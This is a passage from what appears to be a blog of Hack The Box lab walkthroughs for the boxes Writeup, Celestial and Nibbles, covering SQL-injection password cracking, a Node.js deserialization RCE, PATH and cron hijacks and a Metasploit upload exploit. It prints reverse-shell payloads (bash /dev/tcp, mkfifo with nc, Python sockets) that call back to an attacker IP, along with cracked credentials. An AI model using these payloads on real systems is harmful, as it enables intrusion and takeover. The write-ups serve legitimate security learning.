Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.42 seconds

Gobuster HTTP:

root@kali:~# gobuster dir -u http://10.10.10.138/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,204,301,302'
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.138/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/10/04 16:57:01 Starting gobuster
===============================================================
[ERROR] 2019/10/04 16:57:07 [!] Get http://10.10.10.138/5: dial tcp 10.10.10.138:80: connect: connection refused
[ERROR] 2019/10/04 16:57:09 [!] Get http://10.10.10.138/6: dial tcp 10.10.10.138:80: connect: connection refused
Progress: 107 / 220561 (0.05%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2019/10/04 16:57:10 Finished
===============================================================

2. Getting User

Sounds like we can’t use gobuster for this box.
At first, try to look at the web page. placeholder

There was nothing here. Next, look at the path which is specified in “http-robots.txt”
We can find a web page which “CMS Made Simple” is used. placeholder placeholder

In the download page of CMS Made Simple, we can find a link which we can see the content of the package. placeholder placeholder

In the directory “/trunk/doc”, we can find “CHANGELOG.txt”. placeholder

By accessing the “CHANGELOG.txt” on Writeup, we can figure out the version of CMS Made Simple is “2.2.9.1”

root@kali:~# curl http://10.10.10.138/writeup/doc/CHANGELOG.txt 
Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class
  - fix an edge case in the Database\Connection::DbTimeStamp() method

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1

Version 2.2.9 - Blow Me Down

~~~

Then, look for the exploit.
We have bunch of them but we have exploit for close version CMS Made Simple > 2.2.10 - SQL Injection.

root@kali:~# searchsploit CMS made simple
------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                       |  Path
                                                                                     | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------- ----------------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)   | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion                              | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting                              | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting                           | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection                               | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities              | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities                                    | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution                                          | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection                                 | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload                     | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion                                         | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure                                        | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting                  | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities                                     | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery                                     | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion                        | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery              | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities                                     | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution                                        | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution                        | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution                        | exploits/php/webapps/45793.py
CMS Made Simple &gt; 1.12.1 / &gt; 2.1.3 - Web Server Cache Poisoning                | exploits/php/webapps/39760.txt
CMS Made Simple &gt; 2.2.10 - SQL Injection                                          | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload                     | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload                | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload       | exploits/php/webapps/46546.py
------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Try to run the script to crack the password.
By adding “–crack” and “-w wordlist”, we can get the password hash and crack it.

root@kali:~# python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Now, we had following credential.

jkr:raykayjay9

By accessing via SSH, we can obtain a user shell as “jtk”.

root@kali:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

user.txt is in a directory “/home/jkr”

jkr@writeup:~$ pwd
/home/jkr

jkr@writeup:~$ cat user.txt 
d4e493fd4068afc9eb1aa6a55319f978

3. Getting Root

By running pspy and login with another windows, we can find that When someone login, following command runs.

2019/10/02 12:49:04 CMD: UID=0    PID=5837   | sshd: [accepted]
2019/10/02 12:49:04 CMD: UID=0    PID=5838   | sshd: [accepted]  
2019/10/02 12:49:08 CMD: UID=0    PID=5839   | sshd: jkr [priv]  
2019/10/02 12:49:08 CMD: UID=0    PID=5840   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/10/02 12:49:09 CMD: UID=0    PID=5841   | run-parts --lsbsysinit /etc/update-motd.d 
2019/10/02 12:49:09 CMD: UID=0    PID=5842   | /bin/sh /etc/update-motd.d/10-uname 
2019/10/02 12:49:09 CMD: UID=0    PID=5843   | sshd: jkr [priv]  

In following command, only ‘run-parts’ is using relative path.
We can take advantage of this.

2019/10/02 12:49:09 CMD: UID=0    PID=5841   | run-parts --lsbsysinit /etc/update-motd.d 

On this server, we have “run-parts” in “/bin”.

jkr@writeup:~$ which run-parts
/bin/run-parts

However, we have several directories in the PATH before “/bin” which is writable for users.

jkr@writeup:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

jkr@writeup:~$ ls -l /usr/local/ | grep bin
drwx-wsr-x 2 root staff 20480 Apr 19 04:11 bin
drwx-wsr-x 2 root staff 12288 Apr 19 04:11 sbin

Then, create a reverse shell executable with the name “run-parts” in “/usr/local/sbin”.

jkr@writeup:~$ echo "#! /bin/bash" > /usr/local/bin/run-parts

jkr@writeup:~$ echo "bash -i >& /dev/tcp/10.10.14.30/443 0>&1" >> /usr/local/bin/run-parts

jkr@writeup:~$ chmod +x /usr/local/bin/run-parts

jkr@writeup:~$ cat /usr/local/bin/run-parts
#! /bin/bash
bash -i >& /dev/tcp/10.10.14.30/443 0>&1

After that, launch the netcat listener and login to Writeup with SSH as jkr user.
We can get a reverse shell as a root user.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.138] 50656
bash: cannot set terminal process group (2460): Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/# id
id
uid=0(root) gid=0(root) groups=0(root)

As usual, root.txt is in the directory “/root”

root@writeup:/root# cat root.txt
cat root.txt
eeba47f60b48ef92b734f9b6198d7226

Hackthebox Celestial Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Celestial”.

Complation

49th / 131 boxes

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.85 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-22 11:46 EEST
Nmap scan report for 10.10.10.85
Host is up (0.039s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2743.74 seconds

gobuster port 3000:

root@kali:~# gobuster dir -u http://10.10.10.85:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .js
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.85:3000
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     js
[+] Timeout:        10s
===============================================================
2019/09/23 00:13:30 Starting gobuster
===============================================================
===============================================================
2019/09/23 00:43:06 Finished
===============================================================

2. Getting User

By accessing the website on port 3000, we can find unique coolkie base64 encoded.

root@kali:~# curl http://10.10.10.85:3000 -i
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Sun, 29 Sep 2019 06:39:17 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Date: Sun, 29 Sep 2019 06:24:17 GMT
Connection: keep-alive

<h1>404</h1>

Then, try to decode. Since ‘%3D’ is url encoded value of ‘=’, we have to decode it manually.
(Or if we use burp suite, we can use decoder.)

root@kali:~# echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

We found some parameters in the cookie.
Then, fuzz this node.js webapp with sending some special values in the cookie.
We can find that if we send “+” as special number, we get following syntax error.

root@kali:~# echo -n '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2+"}' | base64
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt
YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrIn0=
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrIn0='
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1074
Date: Fri, 04 Oct 2019 15:28:48 GMT
Connection: keep-alive

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of input<br> &nbsp; &nbsp;at /home/sun/server.js:13:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/sun/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>

On the other hand, if we send following as a payload, we don’t get this syntax error

root@kali:~# echo -n '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2+2"}' | base64
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVt
YiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrMiJ9
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIrMiJ9'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 25
ETag: W/"19-TNVBDF0e2JD28Mnzt96ajQ0A3vw"
Date: Fri, 04 Oct 2019 15:37:37 GMT
Connection: keep-alive

Hey Dummy 2+2 + 2+2 is 26

This means the value of “num” is not used as strings and is used as an argument of eval() or something.
More precisely, the value of “num” is serialized on the web server.
Then, google like following. We can find this blog Exploiting Node.js deserialization bug for Remote Code Execution

nodejs serialization exploit

According to that blog, to build the payload for RCE, we need following node.js code and run it.

root@kali:~# cat buildRCE.js 
var y = {
 rce : function(){
 require('child_process').exec('uname -a', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
root@kali:~# node buildRCE.js 
Serialized: 
{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('uname -a', function(error, stdout, stderr) { console.log(stdout) });\n }"}

However, This payload didn’t work for me.
In this article Deserialization Vulnerabilities: Attacking Deserialization in JS, it’s written like During the deserialization process, anything after a special tag \(ND_FUNC\) goes directly to eval function.
This means we don’t need the part “function()” like following.

{"anything_here":"_$$ND_FUNC$$_console.log(1)"}

We can check if the payload correctly by writing following script and executing.
Remove the “function(){\n” and “\n }” part at the bottom
(Don’t forget to put a “" for each single quote!!)

root@kali:~# cat serialize.js 
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'uname -a\', function(error, stdout, stderr) { console.log(stdout) })"}'
serialize.unserialize(payload);
root@kali:~# node serialize.js 
Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-6kali1 (2019-07-22) x86_64 GNU/Linux

By combining previous information, we can obtain the payload.
Also, we need a reverse shell payload which we don’t need to use both single quote and double quote.
Meaning we have to merge the followings.

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2+2"}
{"rce":"_$$ND_FUNC$$_require('child_process').exec('uname -a', function(error, stdout, stderr) { console.log(stdout) });"}
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 443 >/tmp/f

Full Payload:

{"username":"Dummy","country":"Lameville","city":"Lametown","num":"_$$ND_FUNC$$_require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 443 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) })"}

Now we had a full payload.
We need base64 encoding for the payload and make sure to run a netcat listener.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
root@kali:~# curl http://10.10.10.85:3000 -i --cookie 'profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IkxhbWV2aWxsZSIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6Il8kJE5EX0ZVTkMkJF9yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMzAgNDQzID4vdG1wL2YnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRlcnIpIHsgY29uc29sZS5sb2coc3Rkb3V0KSB9KSJ9'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1072
Date: Sat, 05 Oct 2019 06:05:46 GMT
Connection: keep-alive

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected identifier<br> &nbsp; &nbsp;at /home/sun/server.js:13:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/sun/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>

Now we got a reverse shell as a user “sun”.

root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.85] 56418
/bin/sh: 0: can't access tty; job control turned off
$ whoami
sun

user.txt is in the directory “/home/sun/Documents”.

$ pwd
/home/sun/Documents

$ ls
script.py
user.txt

$ cat user.txt
9a093cd22ce86b7f41db4116e80d0b0f

3. Getting Root

In the syslog, we can confirm that cron is running “/home/sun/Documents/script.py” in every 5 minutes.

$ tail syslog
Oct  5 02:05:46 sun gnome-session[3685]:     at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct  5 02:05:46 sun gnome-session[3685]:     at next (/home/sun/node_modules/express/lib/router/route.js:137:13)
Oct  5 02:05:46 sun gnome-session[3685]:     at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)
Oct  5 02:05:46 sun gnome-session[3685]:     at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct  5 02:05:46 sun gnome-session[3685]:     at /home/sun/node_modules/express/lib/router/index.js:281:22
Oct  5 02:05:46 sun gnome-session[3685]:     at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)
Oct  5 02:05:46 sun gnome-session[3685]:     at next (/home/sun/node_modules/express/lib/router/index.js:275:10)
Oct  5 02:05:46 sun gnome-session[3685]:     at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)
Oct  5 02:05:46 sun gnome-session[3685]:     at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)
Oct  5 02:10:01 sun CRON[8246]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)

Since we have write permission for “/home/sun/Documents/script.py”, we can take advantage of that.
We can find a short python payload on the Pentestmonkey

oot@kali:~# cat python_rshell.txt 
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.30",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Then, prepare needed command like following.

root@kali:~# cat python_rshell.txt 
echo 'import socket,subprocess,os;' > script.py
echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' >> script.py
echo 's.connect(("10.10.14.30",8080));os.dup2(s.fileno(),0);' >> script.py
echo 'os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> script.py

Then, run these commands on the window which we got a reverse shell as a user.

$ echo 'import socket,subprocess,os;' > script.py
$ echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' >> script.py
$ echo 's.connect(("10.10.14.30",8080));os.dup2(s.fileno(),0);' >> script.py
$ echo 'os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> script.py

Make sure to launch the reverse shell listener.
Now we can achieve a reverse shell as a root user.

root@kali:~# nc -nlvp 8080
listening on [any] 8080 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.10.85] 48518
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is in the directory “/root”.

# pwd         
/root

# cat root.txt
ba1d0019200a54e370ca151007a8095a

Hackthebox Nibbles Walkthrough

placeholder

Explanation

Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Nibbles”.

Complation: 48th / 131 boxes

Solution

1. Initial Enumeration

TCP Port Scanning:

root@kali:~# nmap -p- 10.10.10.75 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-29 09:43 EEST
Nmap scan report for 10.10.10.75
Host is up (0.039s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.33 seconds

2. Getting User

We have only one port interesting which is 80 (HTTP) and sounds there is nothing here. placeholder

By running curl, we can find an interesting comment on the webpage.

root@kali:~# curl -i http://10.10.10.75
HTTP/1.1 200 OK
Date: Sun, 29 Sep 2019 06:55:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html

<b>Hello world!</b>














<!-- /nibbleblog/ directory. Nothing interesting here! -->

It said there is nothing interesting there. However, it is an interesting website. placeholder

try to gobuster again. In the “README”, we can see that current version of this “Nibbleblog” is “v4.0.3”.

root@kali:~# gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.75/nibbleblog/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/09/29 10:20:13 Starting gobuster
===============================================================
/index.php (Status: 200)
/sitemap.php (Status: 200)
/content (Status: 301)
/themes (Status: 301)
/feed.php (Status: 200)
/admin (Status: 301)
/admin.php (Status: 200)
/plugins (Status: 301)
/install.php (Status: 200)
/update.php (Status: 200)
/README (Status: 200)
/languages (Status: 301)
===============================================================
2019/09/29 10:50:00 Finished
===============================================================

Since we had juicy information “Nibbleblog v4.0.3”, try to look for well-known exploit.

root@kali:~# searchsploit nibble
------------------------------------------------------- ----------------------------------------
 Exploit Title                                         |  Path
                                                       | (/usr/share/exploitdb/)
------------------------------------------------------- ----------------------------------------
Nibbleblog 3 - Multiple SQL Injections                 | exploits/php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)  | exploits/php/remote/38489.rb
------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Sounds there is a RCE with metasploit.
However, we need a guessing to figure out what is the credential.
This time, the username is same as default and password is the server name.

admin:nibbles

Then, try to execute RCE with following procedure.

msf5 > search nibble

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


msf5 > use exploit/multi/http/nibbleblog_file_upload

msf5 exploit(multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
rhost => 10.10.10.75

msf5 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin

msf5 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles

msf5 exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
targeturi => /nibbleblog

msf5 exploit(multi/http/nibbleblog_file_upload) > run

[*] Started reverse TCP handler on 10.10.14.30:4444
[*] Sending stage (38247 bytes) to 10.10.10.75
[*] Meterpreter session 1 opened (10.10.14.30:4444 -> 10.10.10.75:37036) at 2019-09-29 11:25:40 +0300
[+] Deleted image.php

meterpreter > getuid
Server username: nibbler (1001)

Now we got a meterpreter shell.
user.txt is in the directory “/home/nibbler”.

meterpreter > ls
Listing: /home/nibbler
======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  0     fil   2017-12-29 12:29:56 +0200  .bash_history
40775/rwxrwxr-x   4096  dir   2017-12-11 05:04:04 +0200  .nano
100400/r--------  1855  fil   2017-12-11 05:07:21 +0200  personal.zip
100400/r--------  33    fil   2017-12-11 05:35:21 +0200  user.txt

meterpreter > cat user.txt
b02ff32bb332deba49eeaed21152c8d8

3. Getting Root

Currently, we have a meterpreter shell.
To do more enumeration, obtain a full shell like following.

meterpreter > shell
Process 1716 created.
Channel 1 created.

which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/home/nibbler$

By the command “sudo -l”, we can find that nibbler can run “/home/nibbler/personal/stuff/monitor.sh” as sudo with no password.

nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Then, create the file “/home/nibbler/personal/stuff/monitor.sh” with content to spawn root shell.

nibbler@Nibbles:/home/nibbler$ mkdir -p /home/nibbler/personal/stuff/
mkdir -p /home/nibbler/personal/stuff/
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "sudo su" > monitor.sh
echo "sudo su" > monitor.sh

nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
chmod +x monitor.sh

Finally, execute the “monitor.sh”. It takes time a bit but we can ahieve a root shell.

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
sudo ./monitor.sh

sudo: unable to resolve host Nibbles: Connection timed out
sudo: unable to resolve host Nibbles: Connection timed out
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)

root.txt is in the directory “/root”.

root@Nibbles:~# cat root.txt
cat root.txt
b6d745c0dfb6457c55591efc898ef88c